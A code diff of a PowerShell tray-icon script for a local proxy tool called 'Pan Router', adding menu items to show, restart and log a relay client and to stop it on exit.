$script:lv.EndUpdate()
|
|
164
208
|
}
|
|
165
209
|
} catch {
|
|
166
|
-
$lblReq.Text = "
|
|
210
|
+
$script:lblReq.Text = "无法连接统计接口,请检查服务状态"
|
|
167
211
|
}
|
|
168
212
|
}
|
|
169
213
|
|
|
170
|
-
$cmbPeriod.Add_SelectedIndexChanged($updateData)
|
|
214
|
+
$script:cmbPeriod.Add_SelectedIndexChanged($updateData)
|
|
171
215
|
& $updateData
|
|
172
216
|
|
|
173
217
|
$form.Show()
|
|
@@ -193,6 +237,39 @@ try {
|
|
|
193
237
|
$notifyIcon.ShowBalloonTip(2000, "Pan Router", "后台代理服务已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
|
|
194
238
|
})
|
|
195
239
|
$menu.MenuItems.Add($restartItem) | Out-Null
|
|
240
|
+
$menu.MenuItems.Add("-") | Out-Null
|
|
241
|
+
|
|
242
|
+
$relayStatus = New-Object System.Windows.Forms.MenuItem("中继客户端: -")
|
|
243
|
+
$relayStatus.Enabled = $false
|
|
244
|
+
$menu.MenuItems.Add($relayStatus) | Out-Null
|
|
245
|
+
|
|
246
|
+
$relayRestart = New-Object System.Windows.Forms.MenuItem("重启中继")
|
|
247
|
+
$relayRestart.Add_Click({
|
|
248
|
+
Stop-Relay
|
|
249
|
+
Start-Sleep -Milliseconds 500
|
|
250
|
+
Start-Relay
|
|
251
|
+
if (Is-RelayRunning) {
|
|
252
|
+
$notifyIcon.ShowBalloonTip(2000, "Pan Router", "中继客户端已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
|
|
253
|
+
}
|
|
254
|
+
})
|
|
255
|
+
$menu.MenuItems.Add($relayRestart) | Out-Null
|
|
256
|
+
|
|
257
|
+
$relayLogItem = New-Object System.Windows.Forms.MenuItem("查看中继日志")
|
|
258
|
+
$relayLogItem.Add_Click({
|
|
259
|
+
$logFile = "$env:TEMP\panrouter_relay.log"
|
|
260
|
+
if (Test-Path $logFile) { Start-Process notepad $logFile }
|
|
261
|
+
})
|
|
262
|
+
$menu.MenuItems.Add($relayLogItem) | Out-Null
|
|
263
|
+
$menu.MenuItems.Add("-") | Out-Null
|
|
264
|
+
|
|
265
|
+
# 定时刷新中继状态
|
|
266
|
+
$refreshTimer = New-Object System.Windows.Forms.Timer
|
|
267
|
+
$refreshTimer.Interval = 5000
|
|
268
|
+
$refreshTimer.Add_Tick({
|
|
269
|
+
if (Is-RelayRunning) { $relayStatus.Text = "中继客户端: 🟢 运行中" }
|
|
270
|
+
else { $relayStatus.Text = "中继客户端: 🔴 已停止" }
|
|
271
|
+
})
|
|
272
|
+
$refreshTimer.Start()
|
|
196
273
|
|
|
197
274
|
$autoItem = New-Object System.Windows.Forms.MenuItem("开机自启动")
|
|
198
275
|
try { $autoItem.Checked = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name PanRouter -ErrorAction SilentlyContinue) -ne $null } catch {}
|
|
@@ -212,6 +289,7 @@ try {
|
|
|
212
289
|
$exitItem = New-Object System.Windows.Forms.MenuItem("退出")
|
|
213
290
|
$exitItem.Add_Click({
|
|
214
291
|
$notifyIcon.Visible = $false
|
|
292
|
+
Stop-Relay
|
|
215
293
|
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" | Where-Object CommandLine -match "server\.mjs" | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
|
|
216
294
|
[System.Windows.Forms.Application]::Exit()
|
|
217
295
|
})
|